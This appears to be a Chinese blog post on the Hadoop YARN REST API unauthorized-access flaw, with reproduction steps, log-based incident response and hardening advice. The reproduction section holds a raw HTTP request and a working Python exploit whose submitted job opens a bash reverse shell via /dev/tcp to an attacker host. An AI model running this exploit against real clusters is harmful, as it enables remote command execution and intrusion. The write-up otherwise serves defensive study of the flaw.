Hadoop Yarn REST API未授权漏洞排查

目录

一、概述

二、影响版本

三、漏洞复现

 四、应急响应

五、加固建议


一、概述

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

二、影响版本

版本 <hadoop 3.3.0

三、漏洞复现

1、申请新的application

直接发送POST请求,获得“application-id”

POST /ws/v1/cluster/apps/new-application HTTP/1.1
Host: 192.168.52.131:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

2、构造并提交任务

这里使用官方的exp

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = 'xx.xx.xx.xx' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()&#91;'application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >&amp; /dev/tcp/%s/33333 0>&amp;1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

执行该脚本:

python3  payload.py http://targetIP:8088

 四、应急响应

1、日志侧排查

通过排查YARN的日志文件
yarn-root-nodemanager-master.hadoop.log

或者查看docker运行日志

通过命令:docker logs 容器id

 2、控制UI查看Applications

五、加固建议

1、限制8088端口访问,如无必要,禁止对外开放

2、启用Kerberos认证功能,禁止匿名访问

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值